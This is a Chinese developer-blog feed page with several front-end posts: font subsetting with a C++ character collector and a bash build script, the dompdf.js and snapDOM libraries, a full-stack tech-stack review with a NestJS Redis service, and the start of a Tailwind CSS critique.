std::vector new_chars_list_;

void ProcessFile(const std::string& filepath) {
std::ifstream file(filepath);
if (!file.is_open()) return;

std::cout << "Scanning: " << fs::path(filepath).filename().string() << std::endl;
std::string content((std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>())
;
ProcessString(content, true);
}

void ProcessString(const std::string& content, bool track_new) {
auto it = content.begin();
auto end = content.end();
uint32_t codepoint;
std::string bytes;

while (NextUtf8Char(it, end, codepoint, bytes)) {
if (IsChineseChar(codepoint)) {
if (existing_chars_.find(bytes) == existing_chars_.end()) {
existing_chars_.insert(bytes);
if (track_new) {
new_chars_list_.push_back(bytes);
}
}
}
}
}
};

}

int main() {
char_collector::CharManager manager;
manager.LoadExistingChars(char_collector::kRegistryFilename);
manager.ScanDirectory("_posts");
manager.SaveNewChars(char_collector::kRegistryFilename);
return 0;
}

然后我们在终端编译一下再运行即可:

clang++ update_lists.cpp -o update_lists  && ./update_lists

然后我们就会发现这张独属于本站的字符表生成了!🥳 font-pic-6.png 为了方便操作,我们把原始的ttf文件放入仓库的/FontRepo/下(最后记得在.gitignore添加这个文件夹!),然后稍微修改一下之前子集化的命令就可以了:

pyftsubset /FontRepo/NotoSerifSC-Bold.ttf --output-file=/assets/fonts/noto-serif-sc/NotoSerifSC-Bold.subset.woff2 --flavor=woff2 --text-file=char_set.txt --no-hinting --with-zopfli

可以看到,最终输出的文件只有200K!压缩率达到了98.5%!

font-pic-4.png 但是这个方法就像前面说的,处于字体渲染的边界。但凡多出一个字符表中的符号,那么这个字符就无法渲染,会回退到系统字体,看起来格外别扭。所以,在每次更新文章前,我们都需要运行一下./update_lists。此外,还存在一个问题,每次更新产生新的子集化文件时,都需要把旧的子集化文件删除,防止旧文件堆积。

这些过程十分繁琐而且耗费时间,所以我们可以写一个bash脚本来实现这个过程的自动化。我这里同样是求助了Gemini,写了一个build_fonts.sh

#!/bin/bash
set -e # 遇到错误立即停止执行

# ================= 配置区域 =================
# 字体源文件目录
SRC_DIR="FontRepo"
# 字体输出目录
OUT_DIR="assets/fonts/noto-serif-sc"
# 字符列表文件
CHAR_LIST="char_set.txt"
# C++ 更新工具
UPDATE_TOOL="./updateLists"

# 确保输出目录存在
if [ ! -d "$OUT_DIR" ]; then
echo "创建输出目录: $OUT_DIR"
mkdir -p "$OUT_DIR"
fi

# ================= 第一步:更新字符表 =================
echo "========================================"
echo ">> [1/3] 正在更新字符列表..."
if [ -x "$UPDATE_TOOL" ]; then
$UPDATE_TOOL
else
echo "错误: 找不到可执行文件 $UPDATE_TOOL 或者没有执行权限。"
echo "请尝试运行: chmod +x updateLists"
exit 1
fi
# 检查 char_set.txt 是否成功生成
if [ ! -f "$CHAR_LIST" ]; then
echo "错误: $CHAR_LIST 未找到,字符表更新可能失败。"
exit 1
fi
echo "字符列表更新完成。"
# ================= 定义子集化处理函数 =================
process_font() {
local font_name="$1" # 例如: NotoSerifSC-Regular
local input_ttf="$SRC_DIR/${font_name}.ttf"
local final_woff2="$OUT_DIR/${font_name}.woff2"
local temp_woff2="$OUT_DIR/${font_name}.temp.woff2"

echo "----------------------------------------"
echo "正在处理字体: $font_name"
# 检查源文件是否存在
if [ ! -f "$input_ttf" ]; then
echo "错误: 源文件 $input_ttf 不存在!"
exit 1
fi

# 2. 调用 fonttools (pyftsubset) 生成临时子集文件
# 使用 --obfuscate-names 可以进一步减小体积,但这里只用基础参数以保证稳定性
echo "正在生成子集 (TTF -> WOFF2)..."
pyftsubset "$input_ttf" \
--flavor=woff2 \
--text-file="$CHAR_LIST" \
--output-file="$temp_woff2"
# 3. & 4. 删除旧文件并重命名 (更新逻辑)
if [ -f "$temp_woff2" ]; then
if [ -f "$final_woff2" ]; then
echo "删除旧文件: $final_woff2"
rm "$final_woff2"
fi

echo "重命名新文件: $temp_woff2 -> $final_woff2"
mv "$temp_woff2" "$final_woff2"
echo ">>> $font_name 更新成功!"
else
echo "错误: 子集化失败,未生成目标文件。"
exit 1
fi
}
# ================= 第二步 & 第三步:执行转换 =================
echo "========================================"
echo ">> [2/3] 开始字体子集化处理..."
# 处理 Regular 字体
process_font "NotoSerifSC-Regular"
# 处理 Bold 字体
process_font "NotoSerifSC-Bold"
echo "========================================"
echo ">> [3/3] 所有任务圆满完成!"

如此一来,以后每次更新完文章,都只需要在终端输入./build_fonts.sh就可以完成字符提取、字体包子集化、清除旧字体包文件的过程了。

font-pic-5.png

一点感想

在这之前另外讲个小故事,我尝试更换字体之前发现自定义的字体样式根本没有用,后来检查了很久,发现竟然是2个月前AI在我代码里加的一句font-family:'Noto Serif SC',而刚好他修改的又是优先级最高的文件,所以后面怎么修改字体都没有用。所以有时候让AI写代码前最好先搞清除代码的地位i,并且做好为AI代码后果负全责的准备。

更改网站字体其实很多时候属于锦上添花的事情,因为很多读者其实并不会太在意网站的字体。但不幸的是我对细节比较在意,或者说有种敝帚自珍的感觉吧,想慢慢地把网站装饰得舒适一些,所以才总是花力气在一些细枝末节的事情上。更何况,我是懂一点点设计的,有时候看见一些非常丑的Interface心里是很难受的。尽管就像绝大部分人理解不了设计师在细节上的别有用心一样,绝大部分人也不会在意一个网站的字体如何,但是我自己的家,我想装饰地好看些,对我来说就满足了。

更不要说,如果不去折腾这些东西,怎么可能会有这篇文章呢?如果能够帮助到一些人,也算是在世界留下一点价值了。

参考资料及附录

  1. 参考资料

    a. 网页中文字体加载速度优化

    b. 缩减网页字体大小

    c. All-Chinese-Character-Set

  2. 让Gemini生成代码时的Prompt:
---Prompt 1---
# 任务名称:创建脚本实现对字符的收集
请利用C++来完成一下任务要求:
1. 该脚本能够读取项目目录下的markdown文件,并且能够识别当中所有的中文字符,将该中文字符与`/char_test/GeneralUsedChars.txt`的字符表进行查重比较:
若该字在表中存在,则跳过,处理下一个字;
若不存在,则将该字添加到表中,然后继续处理下一个字符
2. 请设计一个高效的算法,尤其是在字符查重的过程中,你需要设计一个高效且准确率高的算法
3. 请注意脚本的通用性,你需要考虑到这个项目以后可能会继续增加更多的markdown文件,所以你不应该仅仅只是处理现有的markdown文件,还需要考虑到以后的拓展性
4. 如果可以的话,尽可能使用C++来实现,因为效率更高

---Prompt 2---
可以了,现在我要求你编写一个脚本以实现自动化,要求如下:
1. 脚本运行时,首先会调用项目根目录下的updateLists可执行文件,更新char_set.txt
2. 接着,脚本会调用fonttools工具,对路径在`/FontRepo/`下的两个文件进行ttf到woff2的子集化转化,其中这两个字体文件的名字分别为`NotoSerifSC-Regular.ttf`和`NotoSerifSC-Bold.ttf`。
3. 转化好的子集文件应该输出到 `/assets/fonts/noto-serif-sc/`文件夹下。
4. 将`/assets/fonts/noto-serif-sc/`文件夹下原本已经存在的两个字体文件`NotoSerifSC-Bold.woff2`和`NotoSerifSC-Regular.woff2`删除,然后将新得到子集化文件重新命名为这两个删除了的文件的名字。这一步相当于完成了字体文件的更新

请注意文件的命名,尤其是不要搞错字号,新子集文件和旧子集文件。
请注意在子集化步骤的bash命令,环境已经安装好fonttools及其对应依赖,你可以参考下面这个命令来使用,或者使用更好更稳定的用法:
pyftsubset --flavor=woff2 --text-file= --output-file=
(再次注意输出路径)
  1. 最终实践效果(以NotoSerifSC-Bold为例)
    处理方式字体包体积压缩率
    无处理14.462M0%
    格式转化5.776M60.06%
    子集化处理981K93.21%
    分包处理依据动态加载量而定
    我的实践216K98.5%


作者:ChangYo
来源:juejin.cn/post/7578699866181238822
收起阅读 »

一个AI都无法提供的html转PDF方案

web
这也许就是AI无法代替人的原因,只需一行代码就可以实现纯前端 html 转矢量 pdf 的功能 // 引入 dompdf.js库 import dompdf from "dompdf.js"; dompdf(document.querySelector("#...
继续阅读 »

这也许就是AI无法代替人的原因,只需一行代码就可以实现纯前端 html 转矢量 pdf 的功能


// 引入 dompdf.js库
import dompdf from "dompdf.js";

dompdf(document.querySelector("#capture")).then(function (blob) {
//文件操作
});

实现效果(复杂表格)


企业微信截图_20251011152750.png


1. 在线体验



dompdfjs.lisky.com.cn



2. Git 仓库地址 (欢迎 Star⭐⭐⭐)



github.com/lmn1919/dom…



3. 生成 PDF


在前端生态里,把网页内容生成 PDF 一直是一个常见但不简单的需求。从报表导出、小票生成、合同下载到打印排版,很多项目或多或少都会遇到。市面上常见的方案大致有以下几类:



  • 服务端渲染 PDF(后端库如 wkhtmltopdf、PrinceXML 等)

  • 客户端将 HTML 渲染为图片(如 html2canvas + jsPDF)然后再封装为 PDF

  • 前端调用相关 pdf 生成库来生成 PDF(如 pdfmake,jspdf,pdfkit)


但是这些方案都有各自的局限性,



  • 比如服务端渲染 PDF 对服务器资源要求高,需要后端参与。

  • html2canvas + jsPDF 需要将 html 内容渲染为图片,再将图片封装为 PDF,速度会比较慢,而且生成体积会比较大,内容会模糊,限制于 canvas 生成高度,不能生成超过 canvas 高度的内容。

  • 而前端调用相关 pdf 生成库来生成 PDF 则需要对相关库有一定的了解,api 比较复杂,学习使用成本很高。


使用 jspdf 生成如图简单的 pdf


企业微信截图_20251011173729.png


就需要如此复杂的代码,如果要生成复杂的 pdf, 比如包含表格、图片、图表等内容,那使用成本就更高了。


function generateChinesePDF() {
// Check if jsPDF is loaded
if (typeof window.jspdf === "undefined") {
alert("jsPDF library has not finished loading, please try again later");
return;
}

const { jsPDF } = window.jspdf;
const doc = new jsPDF();

// Note: Default jsPDF does not support Chinese, this is just a demo
// In real projects you need to add Chinese font support

doc.setFontSize(16);
doc.text("Chinese Text Support Demo", 20, 30);

doc.setFontSize(12);
doc.text("Note: Default jsPDF does not support Chinese characters.", 20, 50);
doc.text("You need to add Chinese font support for proper display.", 20, 70);

// Draw some graphics for demonstration
doc.setFillColor(255, 182, 193);
doc.rect(20, 90, 60, 30, "F");
doc.setTextColor(0, 0, 0);
doc.text("Pink Rectangle", 25, 108);

doc.setFillColor(173, 216, 230);
doc.rect(100, 90, 60, 30, "F");
doc.text("Light Blue Rectangle", 105, 108);

doc.save("chinese-example.pdf");
}

但是现在,有了 dompdf.js,你只需要一行代码,就可以完成比这个复杂 10 倍的 PDF 生成任务,html页面所见即所得,可以将复杂的css样式转化成pdf


dompdf(document.querySelector("#capture")).then(function (blob) {
//文件操作
});

而且,dompdf.js 生成的 PDF 是矢量的,非图片式的,高清晰度的,文字可以选中、复制、搜索等操作(在支持的 PDF 阅读器环境下),区别于客户端将 HTML 渲染为图片(如 html2canvas + jsPDF)然后再封装为 PDF。



具体可以去体验 立即体验 https://dompdfjs.lisky.com.cn



4. dompdf.js 是如何实现的?


其实 dompdf.js 也是基于 html2canvas+jspdf 实现的,但是为什么 dompdf.js 生成的 pdf 文件可以二次编辑,更清晰,体积小呢?


不同于普通的 html2canvas + jsPDF 方案,将 dom 内容生成为图片,再将图片内容用 jspdf 绘制到 pdf 上,这就导致了生成的 pdf 文件体积大,无法编辑,放大后会模糊。


html2canvas 原理简介


1. DOM 树遍历
html2canvas 从指定的 DOM 节点开始,递归遍历所有子节点,构建一个描述页面结构的内部渲染队列。


2. 样式计算
对每个节点调用 window.getComputedStyle() 获取最终的 CSS 属性值。这一步至关重要,因为它包含了所有 CSS 规则(内联、内部、外部样式表)层叠计算后的最终结果。


3. 渲染模型构建
将每个 DOM 节点和其计算样式封装成渲染对象,包含绘制所需的完整信息:位置(top, left)、尺寸(width, height)、背景、边框、文本内容、字体属性、层级关系(z-index)等。


4. Canvas 上下文创建
在内存中创建 canvas 元素,获取其 2D 渲染上下文(CanvasRenderingContext2D)。


5. 浏览器绘制模拟
按照 DOM 的堆叠顺序和布局规则,遍历渲染队列,将每个元素绘制到 Canvas 上。这个过程实质上是将 CSS 属性"翻译"成对应的绘制 API 调用:


CSS 属性传统 Canvas APIdompdf.js 中的 jsPDF API
background-colorctx.fillStyle + ctx.fillRect()doc.setFillColor() + doc.rect(x, y, w, h, 'F')
borderctx.strokeStyle + ctx.strokeRect()doc.setDrawColor() + doc.rect(x, y, w, h, 'S')
color, font-family, font-sizectx.fillStyle, ctx.font + ctx.fillText()doc.setTextColor() + doc.setFont() + doc.text()
border-radiusarcTo()bezierCurveTo() 创建剪切路径doc.roundedRect()doc.lines() 绘制圆角
imagectx.drawImage()doc.addImage()

核心创新:API 替换,底层是封装了 jsPDF 的 API
dompdf.js 的关键突破在于改造了 html2canvas 的 canvas-renderer.ts 文件,将原本输出到 Canvas 的绘制 API 替换为 jsPDF 的 API 调用。这样就实现了从 DOM 直接到 PDF 的转换,生成真正可编辑、可搜索的 PDF 文件,而不是传统的图片格式。


目前实现的功能


1. 文字绘制 (颜色,大小)
2. 图片绘制 (支持 jpeg, png 等格式)
3. 背景,背景颜色 (支持合并单元格)
4. 边框,复杂表格绘制 (支持合并单元格)
5. canvas (支持多种图表类型)
6. svg (支持 svg 元素绘制)
7. 阴影渲染 (使用 foreignObjectRendering,支持边框阴影渲染)
8. 渐变渲染 (使用 foreignObjectRendering,支持背景渐变渲染)


7.使用


安装


        npm install dompdf.js --save

CDN 引入


<script src="https://cdn.jsdelivr.net/npm/dompdf.js@latest/dist/dompdf.js"></script>

基础用法


import dompdf from "dompdf.js";
dompdf(document.querySelector("#capture"), {
useCORS: true, //是否允许跨域
})
.then(function (blob) {
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url;
a.download = "example.pdf";
document.body.appendChild(a);
a.click();
})
.catch(function (err) {
console.log(err, "err");
});

写在最后


dompdf.js 让前端 PDF 生成变得前所未有的简单:无需后端、无需繁琐配置、一行代码即可输出矢量、可检索、可复制的专业文档。无论是简历、报告还是发票,它都能轻松胜任。 欢迎在你的项目中使用它 。


如果它帮到了你,欢迎去 github.com/lmn1919/dom… 点个 Star,提优化,共建项目。


作者:刘发财
来源:juejin.cn/post/7559886023661649958
收起阅读 »

从前端的角度出发,目前最具性价比的全栈路线是啥❓❓❓

web
我正在筹备一套前端工程化体系的实战课程。如果你在学习前端的过程中感到方向模糊、技术杂乱无章,那么前端工程化将是你实现系统进阶的最佳路径。它不仅能帮你建立起对现代前端开发的整体认知,还能提升你在项目开发、协作规范、性能优化等方面的工程能力。 ✅ 本课程覆盖构建工...
继续阅读 »

我正在筹备一套前端工程化体系的实战课程。如果你在学习前端的过程中感到方向模糊、技术杂乱无章,那么前端工程化将是你实现系统进阶的最佳路径。它不仅能帮你建立起对现代前端开发的整体认知,还能提升你在项目开发、协作规范、性能优化等方面的工程能力。


✅ 本课程覆盖构建工具测试体系脚手架CI/CDDockerNginx 等核心模块,内容体系完整,贯穿从开发到上线的全流程。每一章节都配有贴近真实场景的企业级实战案例,帮助你边学边用,真正掌握现代团队所需的工程化能力,实现从 CRUD 开发者到工程型前端的跃迁。


详情请看前端工程化实战课程


学完本课程,对你的简历和具体的工作能力都会有非常大的提升。如果你对此项目感兴趣,或者课程感兴趣,可以私聊我微信 yunmz777


今年大部分时间都是在编码上和写文章上,但是也不知道自己都学到了啥,那就写篇文章来盘点一下目前的技术栈吧,也作为下一年的参考目标,方便知道每一年都学了些啥。


20241223154451


我的技术栈


首先我先来对整体的技术做一个简单的介绍吧,然后后面再对当前的一些技术进行细分吧。


React、Typescript、React Native、mysql、prisma、NestJs、Redis、前端工程化。


React


React 这个框架我花的时间应该是比较多的了,在校期间已经读了一遍源码了,对这些原理已经基本了解了。在随着技术的继续深入,今年毕业后又重新开始阅读了一遍源码,对之前的认知有了更深一步的了解。


也写了比较多跟 React 相关的文章,包括设计模式,原理,配套生态的使用等等都有一些涉及。


在状态管理方面,redux,zustand 我都用过,尤其在 Zustand 的使用上,我特别喜欢 Zustand,它使得我能够快速实现全局状态管理,同时避免了传统 Redux 中繁琐的样板代码,且性能更优。也对 Zustand 有比较深入的了解,也对其源码有过研究。


NextJs


Next.js 是一个基于 React 的现代 Web 开发框架,它为开发者提供了一系列强大的功能和工具,旨在优化应用的性能、提高开发效率,并简化部署流程。Next.js 支持多种渲染模式,包括服务器端渲染(SSR)、静态生成(SSG)和增量静态生成(ISR),使得开发者可以根据不同的需求选择合适的渲染方式,从而在提升页面加载速度的同时优化 SEO。


在路由管理方面,Next.js 采用了基于文件系统的路由机制,这意味着开发者只需通过创建文件和文件夹来自动生成页面路由,无需手动配置。这种约定优于配置的方式让路由管理变得直观且高效。此外,Next.js 提供了动态路由支持,使得开发者可以轻松实现复杂的 URL 结构和参数化路径。


Next.js 还内置了 API 路由,允许开发者在同一个项目中编写后端 API,而无需独立配置服务器。通过这种方式,前后端开发可以在同一个代码库中协作,大大简化了全栈开发流程。同时,Next.js 对 TypeScript 提供了原生支持,帮助开发者提高代码的可维护性和可靠性。


Typescript


今年所有的项目都是在用 ts 写了,真的要频繁修改的项目就知道用 ts 好处了,有时候用 js 写的函数修改了都不知道怎么回事,而用了 ts 之后,哪里引用到的都报红了,修改真的非常方便。


今年花了一点时间深入学习了一下 Ts 类型,对一些高级类型以及其实现原理也基本知道了,明年还是多花点时间在类型体操上,除了算法之外,感觉类型体操也可以算得上是前端程序员的内功心法了。


React Native



不得不说,React Native 不愧是接活神器啊,刚学完之后就来了个安卓和 ios 的私活,虽然没有谈成。



React Native 和 Expo 是构建跨平台移动应用的两大热门工具,它们都基于 React,但在功能、开发体验和配置方式上存在一些差异。React Native 是一个开放源代码的框架,允许开发者使用 JavaScript 和 React 来构建 iOS 和 Android 原生应用。Expo 则是一个构建在 React Native 之上的开发平台,它提供了一套工具和服务,旨在简化 React Native 开发过程。


React Native 的核心优势在于其高效的跨平台开发能力。通过使用 React 语法和组件,开发者能够一次编写应用的 UI 和逻辑,然后部署到 iOS 和 Android 平台。React Native 提供了对原生模块的访问,使开发者能够使用原生 API 来扩展应用的功能,确保性能和用户体验能够接近原生应用。


Expo 在此基础上进一步简化了开发流程。作为一个开发工具,Expo 提供了许多内置的 API 和组件,使得开发者无需在项目中进行繁琐的原生模块配置,就能够快速实现设备的硬件访问功能(如摄像头、位置、推送通知等)。Expo 还内置了一个开发客户端,使得开发者可以实时预览应用,无需每次都进行完整的构建和部署。


另外,Expo 提供了一个完全托管的构建服务,开发者只需将应用推送到 Expo 服务器,Expo 就会自动处理 iOS 和 Android 应用的构建和发布。这大大简化了应用的构建和发布流程,尤其适合不想处理复杂原生配置的开发者。


然而,React Native 和 Expo 也有各自的局限性。React Native 提供更大的灵活性和自由度,开发者可以更自由地集成原生代码或使用第三方原生库,但这也意味着需要更多的配置和维护。Expo 则封装了很多功能,简化了开发,但在需要使用某些特定原生功能时,开发者可能需要“弹出”Expo 的托管环境,进行额外的原生开发。


样式方案的话我使用的是 twrnc,大部分组件都是手撸,因为有 cursor 和 chatgpt 的加持,开发效果还是杠杠的。


rn 原理也争取明年能多花点时间去研究研究,不然对着盲盒开发还是不好玩。


Nestjs


NestJs 的话没啥好说的,之前也都写过很多篇文章了,感兴趣的可以直接观看:



对 Nodejs 的底层也有了比较深的理解了:



Prisma & mysql


Prisma 是一个现代化的 ORM(对象关系映射)工具,旨在简化数据库操作并提高开发效率。它支持 MySQL 等关系型数据库,并为 Node.js 提供了类型安全的数据库客户端。在 NestJS 中使用 Prisma,可以让开发者轻松定义数据库模型,并通过自动生成的 Prisma Client 执行类型安全的查询操作。与 MySQL 配合时,Prisma 提供了一种简单、直观的方式来操作数据库,而无需手动编写复杂的 SQL 查询。


Prisma 的核心优势在于其强大的类型安全功能,所有的数据库操作都能通过 Prisma Client 提供的自动生成的类型来进行,这大大减少了代码中的错误,提升了开发的效率。它还包含数据库迁移工具 Prisma Migrate,能够帮助开发者方便地管理数据库结构的变化。此外,Prisma Client 的查询 API 具有很好的性能,能够高效地执行复杂的数据库查询,支持包括关系查询、聚合查询等高级功能。


与传统的 ORM 相比,Prisma 使得数据库交互更加简洁且高效,减少了配置和手动操作的复杂性,特别适合在 NestJS 项目中使用,能够与 NestJS 提供的依赖注入和模块化架构很好地结合,提升整体开发体验。


Redis


Redis 和 mysql 都仅仅是会用的阶段,目前都是直接在 NestJs 项目中使用,都是已经封装好了的,直接传参调用就好了:


import { Injectable, Inject, OnModuleDestroy, Logger } from "@nestjs/common";
import Redis, { ClientContext, Result } from "ioredis";

import { ObjectType } from "../types";

import { isObject } from "@/utils";

@Injectable()
export class RedisService implements OnModuleDestroy {
private readonly logger = new Logger(RedisService.name);

constructor(@Inject("REDIS_CLIENT") private readonly redisClient: Redis) {}

onModuleDestroy(): void {
this.redisClient.disconnect();
}

/**
* @Description: 设置值到redis中
* @param {string} key
* @param {any} value
* @return {*}
*/

public async set(
key: string,
value: unknown,
second?: number
): Promise<Result<"OK", ClientContext> | null> {
try {
const formattedValue = isObject(value)
? JSON.stringify(value)
: String(value);

if (!second) {
return await this.redisClient.set(key, formattedValue);
} else {
return await this.redisClient.set(key, formattedValue, "EX", second);
}
} catch (error) {
this.logger.error(`Error setting key ${key} in Redis`, error);

return null;
}
}

/**
* @Description: 获取redis缓存中的值
* @param key {String}
*/

public async get(key: string): Promise<string | null> {
try {
const data = await this.redisClient.get(key);

return data ? data : null;
} catch (error) {
this.logger.error(`Error getting key ${key} from Redis`, error);

return null;
}
}

/**
* @Description: 设置自动 +1
* @param {string} key
* @return {*}
*/

public async incr(
key: string
): Promise<Result<number, ClientContext> | null> {
try {
return await this.redisClient.incr(key);
} catch (error) {
this.logger.error(`Error incrementing key ${key} in Redis`, error);

return null;
}
}

/**
* @Description: 删除redis缓存数据
* @param {string} key
* @return {*}
*/

public async del(key: string): Promise<Result<number, ClientContext> | null> {
try {
return await this.redisClient.del(key);
} catch (error) {
this.logger.error(`Error deleting key ${key} from Redis`, error);

return null;
}
}

/**
* @Description: 设置hash结构
* @param {string} key
* @param {ObjectType} field
* @return {*}
*/

public async hset(
key: string,
field: ObjectType
): Promise<Result<number, ClientContext> | null> {
try {
return await this.redisClient.hset(key, field);
} catch (error) {
this.logger.error(`Error setting hash for key ${key} in Redis`, error);

return null;
}
}

/**
* @Description: 获取单个hash值
* @param {string} key
* @param {string} field
* @return {*}
*/

public async hget(key: string, field: string): Promise<string | null> {
try {
return await this.redisClient.hget(key, field);
} catch (error) {
this.logger.error(
`Error getting hash field ${field} from key ${key} in Redis`,
error
);

return null;
}
}

/**
* @Description: 获取所有hash值
* @param {string} key
* @return {*}
*/

public async hgetall(key: string): Promise<Record<string, string> | null> {
try {
return await this.redisClient.hgetall(key);
} catch (error) {
this.logger.error(
`Error getting all hash fields from key ${key} in Redis`,
error
);

return null;
}
}

/**
* @Description: 清空redis缓存
* @return {*}
*/

public async flushall(): Promise<Result<"OK", ClientContext> | null> {
try {
return await this.redisClient.flushall();
} catch (error) {
this.logger.error("Error flushing all Redis data", error);

return null;
}
}

/**
* @Description: 保存离线通知
* @param {string} userId
* @param {any} notification
*/

public async saveOfflineNotification(
userId: string,
notification: any
): Promise<void> {
try {
await this.redisClient.lpush(
`offline_notifications:${userId}`,
JSON.stringify(notification)
);
} catch (error) {
this.logger.error(
`Error saving offline notification for user ${userId}`,
error
);
}
}

/**
* @Description: 获取离线通知
* @param {string} userId
* @return {*}
*/

public async getOfflineNotifications(userId: string): Promise<any[]> {
try {
const notifications = await this.redisClient.lrange(
`offline_notifications:${userId}`,
0,
-1
);
await this.redisClient.del(`offline_notifications:${userId}`);

return notifications.map((notification) => JSON.parse(notification));
} catch (error) {
this.logger.error(
`Error getting offline notifications for user ${userId}`,
error
);

return [];
}
}

/**
* 获取指定 key 的剩余生存时间
* @param key Redis key
* @returns 剩余生存时间(秒)
*/

public async getTTL(key: string): Promise<number> {
return await this.redisClient.ttl(key);
}
}

前端工程化


前端工程化这块花了很多信息在 eslint、prettier、husky、commitlint、github action 上,现在很多项目都是直接复制之前写好的过来就直接用。


后续应该是投入更多的时间在性能优化、埋点、自动化部署上了,如果有机会的也去研究一下 k8s 了。


全栈性价比最高的一套技术


最近刷到一个帖子,讲到了


20241223165138


我目前也算是一个小全栈了吧,我也来分享一下我的技术吧:



  1. NextJs

  2. React Native

  3. prisma

  4. NestJs

  5. taro (目前还不会,如果有需求就会去学)


剩下的描述也是和他下面那句话一样了(毕业后对技术态度的转变就是什么能让我投入最小,让我最快赚到钱的就是好技术)


总结


学无止境,任重道远。


最后再来提一下这两个开源项目,它们都是我们目前正在维护的开源项目:



如果你想参与进来开发或者想进群学习,可以添加我微信 yunmz777,后面还会有很多需求,等这个项目完成之后还会有很多新的并且很有趣的开源项目等着你。


作者:Moment
来源:juejin.cn/post/7451483063568154639
收起阅读 »

还在用html2canvas?介绍一个比它快100倍的截图神器!

web
在日常业务开发里,DOM 截图 几乎是刚需场景。 无论是生成分享卡片、导出报表,还是保存一段精美排版内容,前端同学都绕不开它。 但问题来了——市面上的截图工具,比如 html2canvas,虽然用得多,却有一个致命缺陷:慢! 普通截图动辄 1 秒以上,大一点的...
继续阅读 »

在日常业务开发里,DOM 截图 几乎是刚需场景。


无论是生成分享卡片、导出报表,还是保存一段精美排版内容,前端同学都绕不开它。


但问题来了——市面上的截图工具,比如 html2canvas,虽然用得多,却有一个致命缺陷:慢!
普通截图动辄 1 秒以上,大一点的 DOM,甚至能直接卡到怀疑人生,用户体验一言难尽。


大家好,我是芝士,欢迎点此扫码加我微信 Hunyi32 交流,最近创建了一个低代码/前端工程化交流群,欢迎加我微信 Hunyi32 进群一起交流学习,也可关注我的公众号[ 前端界 ] 持续更新优质技术文章


最近发现一个保存速度惊艳到我的库snapDOM


这货在性能上的表现,完全可以用“碾压”来形容:



  • 👉 相比 html2canvas,快 32 ~ 133 倍

  • 👉 相比 modern-screenshot,也快 2 ~ 93 倍



以下是官方基本测试数据:


场景snapDOM vs html2canvassnapDOM vs dom-to-image
小元素 (200×100)32 倍6 倍
模态框 (400×300)33 倍7 倍
整页截图 (1200×800)35 倍13 倍
大滚动区域 (2000×1500)69 倍38 倍
超大元素 (4000×2000)93 倍 🔥133 倍

📊 数据来源:snapDOM 官方 benchmark(基于 headless Chromium 实测)。


⚡ 为什么它这么快?


二者的实现原理不同


html2canvas 的实现方式



  • 原理:
    通过遍历 DOM,把每个节点的样式(宽高、字体、背景、阴影、图片等)计算出来,然后在 <canvas> 上用 Canvas API 重绘一遍。

  • 特点:



    • 需要完整计算 CSS 样式 → 排版 → 绘制。

    • 复杂 DOM 时计算量极大,比如渐变、阴影、字体渲染都会消耗 CPU。

    • 整个过程基本是 模拟浏览器的渲染引擎,属于“重造轮子”。




所以一旦 DOM 大、样式复杂,html2canvas 很容易出现 1s+ 延迟甚至卡死。


snapDOM 的实现方式


原理:利用浏览器 原生渲染能力,而不是自己模拟


snapDOM 的 captureDOM 并不是自己用 Canvas API 去一笔一笔绘制 DOM(像 html2canvas 那样),而是:



  1. 复制 DOM 节点(prepareClone)



    • → 生成一个“克隆版”的 DOM,里面包含了样式、结构。



  2. 把图片、背景、字体都转成 inline(base64 / dataURL)



    • → 确保克隆 DOM 是完全自包含的。



  3. <foreignObject> 包在 SVG 里面



    • → 浏览器原生支持直接渲染 HTML 片段到 SVG → 再转成 dataURL。




所以核心就是:
👉 利用浏览器自己的渲染引擎(SVG foreignObject)来排版和绘制,而不是 JS 重造渲染过程


如何使用 snapDOM


snapDOM 上手非常简单, 学习成本比较低。


1. 安装


通过npm 安装:


npm install @zumer/snapdom

或者直接用 CDN 引入:


<script src="https://cdn.jsdelivr.net/npm/@zumer/snapdom/dist/snapdom.min.js"></script>

2. 基础用法


只需要一行代码,就能把 DOM 节点“变”成图片:


// 选择你要截图的 DOM 元素
const target = document.querySelector('.card');

// 导出为 PNG 图片
const image = await snapdom.toPng(target);

// 直接添加到页面
document.body.appendChild(image);


3. 更多导出方式


除了 PNG,snapDOM 还支持多种输出格式:


// 导出为 JPEG
const jpeg = await snapdom.toJpeg(target);

// 导出为 SVG
const svg = await snapdom.toSvg(target);

// 直接保存为文件
await snapdom.download(target, { format: 'png', filename: 'screenshot.png' });

4. 导出一个这样的海报图



开发中生成海报并保存到, 是非常常见的需求,以前使用html2canvas,也要写不少代码, 还要处理图片失真等问题, 使用snapDOM,真的一行代码能搞定。


 <div ref="posterRef" class="poster">
....
</div>

<script setup lang="ts">
const downloadPoster = async () => {
if (!posterRef.value) {
alert("海报元素未找到");
return;
}

try {
// snapdom 是 UMD 格式,通过全局 window.snapdom 访问
const snap = (window as any).snapdom;
if (!snap) {
alert("snapdom 库未加载,请刷新页面重试");
return;
}
await snap.download(posterRef.value, {
format: "png",
filename: `tech-poster-${Date.now()}`
});


} catch (error) {
console.error("海报生成失败:", error);
alert("海报生成失败,请重试");
}
};
</script>

相比传统方案需要大量配置和兼容性处理,snapDOM 真正做到了 一行代码,极速生成。无论是分享卡片、营销海报还是报表导出,都能轻松搞定。


await snap.download(posterRef.value, {
format: "png",
filename: `tech-poster-${Date.now()}`
});

大家好,我是芝士,欢迎点此扫码加我微信 Hunyi32 交流,最近创建了一个低代码/前端工程化交流群,欢迎加我微信 Hunyi32 进群一起交流学习,也可关注我的公众号[ 前端界 ] 持续更新优质技术文章


总结


在前端开发里,DOM 截图是一个常见但“让人头疼”的需求。



  • html2canvas 代表的传统方案,虽然功能强大,但性能和体验常常拖后腿;

  • 而 snapDOM 借助浏览器原生渲染能力,让截图变得又快又稳。


一句话:
👉 如果你还在为截图慢、卡顿、模糊烦恼,不妨试试 snapDOM —— 可能会刷新你对前端截图的认知。 🚀


作者:芝士加
来源:juejin.cn/post/7542379658522116123
收起阅读 »

10年老前端吐槽Tailwind CSS:是神器还是“神坑”?

web
作为一个老前端人比大家虚长几岁,前端技术的飞速发展,从早期的 jQuery 到现代的 React、Vue,再到 CSS 框架的演变。最近几年,Tailwind CSS 成为了前端圈的热门话题,很多人称它为“神器”,但也有不少人认为它是“神坑”。今天,我就从实际...
继续阅读 »

